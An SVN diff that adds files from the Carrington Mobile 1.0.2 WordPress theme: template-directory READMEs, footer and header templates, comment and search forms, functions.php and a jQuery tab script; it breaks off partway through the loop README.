--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/README.txt	(revision 44)
@@ -0,0 +1,42 @@
+## footer/
+
+The standard _footer.php_ file (included using the WordPress `get_footer()` function) in Carrington is set up to call the `cfct_footer()` function, which will choose the appropriate footer file from this directory - based on the context of the given page. This can be useful if you want to have pages to have a custom footer, or perhaps a certain category to have a custom footer.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/bottom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/bottom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/bottom.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+$about_text = cfct_about_text();
+if (!empty($about_text)) {
+?>
+<div id="about" class="group">
+	<h3><?php printf(__('About %s', 'carrington-mobile'), get_bloginfo('name')); ?></h3>
+<?php
+	echo $about_text;
+?>
+</div>
+<?php
+}
+?>
+<div id="footer">
+<?php
+if (function_exists('cfmobi_mobile_exit')) {
+	cfmobi_mobile_exit();
+}
+?>
+
+	<hr />
+
+	<p class="small">
+		Proudly powered by <a href="http://wordpress.org"><strong>WordPress</strong></a> and <a href="http://carringtontheme.com"><strong>Carrington</strong></a>. <?php wp_loginout(); wp_register(' | ', ''); ?><br />
+<?php
+if (function_exists('cfmobi_mobile_exit')) {
+?>
+		<a href="http://crowdfavorite.com/wordpress">WordPress Mobile Edition</a> available from Crowd Favorite.
+<?php
+}
+?>
+	</p>
+<?php
+if (cfct_get_option('cfct_credit') == 'yes') {
+?>
+	<p id="developer-link"><?php printf(__('<a href="http://crowdfavorite.com" title="Custom WordPress development, design and backup services." rel="developer designer">%s</a>', 'carrington-mobile'), 'Carrington Theme by Crowd Favorite'); ?></p>
+<?php
+}
+?>
+	<div class="clear"></div>
+</div>
+<?php
+
+wp_footer();
+
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/footer-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/footer-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/footer-default.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+cfct_form('search');
+
+if (is_page()) {
+	global $post;
+	$parent = $post->ID;
+	ob_start();
+	wp_list_pages('title_li=&depth=1&child_of='.$parent);
+	$sub_pages = ob_get_contents();
+	ob_end_clean();
+} else {
+	$sub_pages = '';
+}
+
+if (!empty($sub_pages)) {
+	$sub_pages = '<li><strong class="title">'.__('Sub Pages', 'carrington-mobile').'</strong></li>'.$sub_pages.'<li><strong class="title">'.__('Top Level Pages', 'carrington-mobile').'</strong></li>';
+}
+
+?>
+<hr />
+
+<div class="tabbed">
+	<div id="recent_tab">
+		<hr />
+		<h2 class="table-title" id="recent"><?php _e('Recent Posts'); ?></h2>
+		<ul class="disclosure table group">
+			<?php wp_get_archives('type=postbypost&limit=10'); ?>
+		</ul>
+	</div>
+	<div id="pages_tab">
+		<hr />
+		<h2 class="table-title" id="pages"><?php _e('Pages'); ?></h2>
+		<ul class="disclosure table group">
+			<?php echo $sub_pages; wp_list_pages('title_li=&depth=1'); ?>
+		</ul>
+	</div>
+</div>
+
+<hr />
+
+<p id="navigation-bottom" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<hr />
+
+<?php
+
+cfct_template_file('footer', 'bottom');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/home.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/home.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/home.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+cfct_form('search');
+
+?>
+<hr />
+
+	<h2 id="pages" class="table-title"><?php _e('Pages'); ?></h2>
+	<ul class="disclosure table group">
+		<?php wp_list_pages('title_li=&depth=1&child_of='.$parent); ?>
+	</ul>
+
+<hr />
+
+<p id="navigation-bottom" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<hr />
+
+<?php
+
+cfct_template_file('footer', 'bottom');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/README.txt	(revision 44)
@@ -0,0 +1,18 @@
+## forms/
+
+### Overview
+
+This directory holds forms that may be used in various places throughout the theme. 
+
+These forms can be included in other theme files using the following code:
+
+	<?php cfct_form('comment'); ?>
+
+Where `comment.php` is the name of the file in the _forms/_ directory that you want to include.
+
+
+### Example File Descriptions
+
+Included by default are the "post comment" form (_comment.php_) and the "search" form (_search.php_). Create as many forms as you like and store them here to keep them organized.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/comment.php	(revision 44)
@@ -0,0 +1,79 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $post, $user_ID, $user_identity, $comment_author, $comment_author_email, $comment_author_url;
+
+$req = get_option('require_name_email');
+
+// if post is open to new comments
+if ('open' == $post->comment_status) {
+	// if you need to be regestered to post comments..
+	if ( get_option('comment_registration') && !$user_ID ) { ?>
+
+<p id="you-must-be-logged-in-to-comment"><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'carrington-mobile'), get_bloginfo('wpurl').'/wp-login.php?redirect_to='.get_permalink()); ?></p>
+
+<?php
+	}
+	else { 
+?>
+
+<form id="respond" action="<?php bloginfo('wpurl'); ?>/wp-comments-post.php" method="post">
+	<h3 class="title-divider"><span><?php _e('Leave a Reply', 'carrington-mobile'); ?></span></h3>
+	<?php // if you're logged in...
+			if ($user_ID) {
+	?>
+		<p><?php printf(__('Logged in as <a href="%s">%s</a>. ', 'carrington-mobile'), get_bloginfo('wpurl').'/wp-admin/profile.php', $user_identity); wp_loginout() ?></p>
+	<?php
+			} else { 
+	?>
+		<p>
+			<input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" />
+			<label for="author"><small><?php _e('Name', 'carrington-mobile'); if ($req) { _e(' (required)', 'carrington-mobile'); } ?></small></label>
+		</p>
+		<p>
+			<input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" />
+			<label for="email"><small><?php _e('Email', 'carrington-mobile');
+			if ($req) {
+				_e(' (required, but never shared)', 'carrington-mobile');
+			}
+			else {
+				_e(' (never shared)', 'carrington-mobile');
+			} ?></small></label>
+		</p>
+		<p>
+			<input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" />
+			<label title="<?php _e('Your website address', 'carrington-mobile'); ?>" for="url"><small><?php _e('Web', 'carrington-mobile'); ?></small></label>	
+		</p>
+	<?php 
+			} 
+	?>
+	<p><textarea name="comment" id="comment" rows="8" cols="40"></textarea></p>
+	<p>
+		<input name="submit" type="submit" id="submit" value="<?php _e('Submit comment', 'carrington-mobile'); ?>" tabindex="5" />
+		<input type="hidden" name="comment_post_ID" value="<?php echo $post->ID; ?>" />
+	</p>
+<?php
+do_action('comment_form', $post->ID);
+?>
+</form>
+<?php 
+	} // If registration required and not logged in 
+} // If you delete this the sky will fall on your head
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/forms/search.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+
+<hr />
+
+<div class="group">
+	<form id="search" action="<?php bloginfo('home'); ?>" method="get">
+		<div>
+			<input type="text" name="s" id="s" inputmode="predictOn" value="" />
+			<input type="submit" name="submit_button" value="Search" />
+		</div>
+	</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/functions.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+load_theme_textdomain('carrington-mobile');
+
+define('CFCT_DEBUG', false);
+define('CFCT_PATH', trailingslashit(TEMPLATEPATH));
+define('CFCT_HOME_LIST_LENGTH', 5);
+define('CFCT_HOME_LATEST_LENGTH', 250);
+
+$cfct_options = array(
+	'cfct_about_text'
+	, 'cfct_credit'
+	, 'cfct_posts_per_archive_page'
+	, 'cfct_wp_footer'
+);
+
+function cfct_blog_init() {
+	if (cfct_get_option('cfct_ajax_load') == 'yes') {
+		cfct_ajax_load();
+	}
+}
+add_action('init', 'cfct_blog_init');
+
+function cfct_archive_title() {
+	if(is_author()) {
+		$output = __('Posts by:');
+	} elseif(is_category()) {
+		$output = __('Category Archives:');
+	} elseif(is_tag()) {
+		$output = __('Tag Archives:');
+	} elseif(is_archive()) {
+		$output = __('Archives:');
+	}
+	$output .= ' ';
+	echo $output;
+}
+
+function cfct_mobile_post_gallery_columns($columns) {
+	return 1;
+}
+add_filter('cfct_post_gallery_columns', 'cfct_mobile_post_gallery_columns');
+
+if (!is_admin()) {
+	wp_enqueue_script('jquery');
+	wp_enqueue_script('carrington-mobile', get_bloginfo('template_directory').'/js/mobile.js', array('jquery'), '1.0');
+}
+
+include_once(CFCT_PATH.'carrington-core/carrington.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_header();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/README.txt	(revision 44)
@@ -0,0 +1,42 @@
+## header/
+
+The standard _header.php_ file in Carrington is set up to call the `cfct_header()` function, which will choose the appropriate header file from this directory - based on the context of the given page. This can be useful if you want to have pages to have a custom header, or perhaps a certain category to have a custom header.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/header-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/header-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/header/header-default.php	(revision 44)
@@ -0,0 +1,100 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.2//EN"
+"http://www.openmobilealliance.org/tech/DTD/xhtml-mobile12.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title><?php wp_title('&laquo;', true, 'right'); bloginfo('name'); ?></title>
+	<meta http-equiv="content-type" content="<?php bloginfo('html_type') ?>; charset=<?php bloginfo('charset') ?>" />
+	<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"/>
+	<link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?>" type="text/css" media="screen" charset="utf-8" />
+	<style type="text/css">
+		@import url(<?php echo trailingslashit(get_bloginfo('template_url')).'css/advanced.css'; ?>);
+	</style>
+	<script type="text/javascript">
+	<!--
+<?php
+
+is_page() ? $page = 'true' : $page = 'false';
+echo '	CFMOBI_IS_PAGE = '.$page.';';
+echo "	CFMOBI_PAGES_TAB = '".str_replace("'", "\'", __('Pages', 'carrington-mobile'))."';";
+echo "	CFMOBI_POSTS_TAB = '".str_replace("'", "\'", __('Recent Posts', 'carrington-mobile'))."';";
+
+global $cfmobi_touch_browsers;
+if (!isset($cfmobi_touch_browsers) || !is_array($cfmobi_touch_browsers)) {
+	$cfmobi_touch_browsers = array(
+		'iPhone',
+		'iPod',
+		'Android',
+		'BlackBerry9530',
+		'LG-TU915 Obigo', // LG touch browser
+		'LGE VX',
+		'webOS', // Palm Pre, etc.
+	);
+}
+if (count($cfmobi_touch_browsers)) {
+	$touch = array();
+	foreach ($cfmobi_touch_browsers as $browser) {
+		$touch[] = str_replace('"', '\"', trim($browser));
+	}
+
+?>
+	var CFMOBI_TOUCH = ["<?php echo implode('","', $touch); ?>"];
+	for (var i = 0; i < CFMOBI_TOUCH.length; i++) {
+		if (navigator.userAgent.indexOf(CFMOBI_TOUCH[i]) != -1) {
+			document.write('<?php echo str_replace('/', '\/', '<link rel="stylesheet" href="'.trailingslashit(get_bloginfo('template_url')).'css/touch.css" type="text/css" media="screen" charset="utf-8" />'); ?>');
+			break;
+		}
+	}
+<?php
+
+}
+
+?> 
+	document.write('<?php
+
+ob_start();
+wp_print_scripts();
+$wp_scripts = ob_get_contents();
+ob_end_clean();
+
+echo trim(str_replace(
+	array("'", "\n", '/'), 
+	array("\'", '', '\/'),
+	$wp_scripts
+));
+
+?>');
+	//--></script>
+</head>
+<body<?php if(is_single() || is_page()) {echo '';} else { echo ' id="is-list"';} ?>>
+
+<h1 id="site-name"><a rel="home" href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
+
+<hr />
+
+<p id="navigation-top" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<hr />
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/img/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/img/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/img/README.txt	(revision 44)
@@ -0,0 +1,5 @@
+## img/
+
+Organizational folder for holding theme image files.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/index.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/README.txt	(revision 44)
@@ -0,0 +1,5 @@
+## js/
+
+Organizational folder for holding theme JavaScript files.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/mobile.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/mobile.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/js/mobile.js	(revision 44)
@@ -0,0 +1,47 @@
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+jQuery(function($) {
+	$('div.tabbed').prepend('<ul class="tabs hide"><li class="active"><a href="#recent">' + CFMOBI_POSTS_TAB + '</a></li><li><a href="#pages">' + CFMOBI_PAGES_TAB + '</a></li></ul>');
+	var tabs = $('ul.tabs');
+	if (tabs.size()) {
+		tabs.removeClass('hide');
+		$('#recent, #pages').hide();
+		$('ul.tabs a[href=#recent]').click(function() {
+			$('ul.tabs li').removeClass('active');
+			$(this).parent().addClass('active');
+			$('#pages_tab').hide();
+			$('#recent_tab').show();
+			return false;
+		});
+		$('ul.tabs a[href=#pages]').click(function() {
+			$('ul.tabs li').removeClass('active');
+			$(this).parent().addClass('active');
+			$('#recent_tab').hide();
+			$('#pages_tab').show();
+			return false;
+		});
+		if (CFMOBI_IS_PAGE) {
+			$('ul.tabs a[href=#pages]').click();
+		}
+		else {
+			$('ul.tabs a[href=#recent]').click();
+		}
+		$('.tabbed ul.group').css({
+			'border-top': '0',
+			'margin-top': '0'
+		});
+	}
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/links.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/links.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/links.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/README.txt	(revision 44)
@@ -0,0 +1,48 @@
+## loop/
+
+This directory contains files that do "the loop". Generally the files in this directory will be included in a file from the _posts/_ or _pages/_ directory, and they will in turn include templates from the _content/_ or _excerpt/_ directories.
+
+For example, you might want posts on a search results page to display differently that posts on an archive page. Here is how that page would be built:
+
+1. A page is identified as a search page - Carrington looks for a _posts/search.php_ file and will fall back on a _posts/default.php_ file if none is found.
+2. The _posts/search.php_ file will include the header, footer and sidebar - and will also include a call to `cfct_loop()` to include a loop.
+3. Since we don't want to show the full posts in search results, the _posts/search.php_ explicitly asks for a file from the _excerpt/_ directory to display the posts in the search results. It will use _excerpt/search.php_ if that file exists, or fall back on _excerpt/default.php_ if the custom file does not exist.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
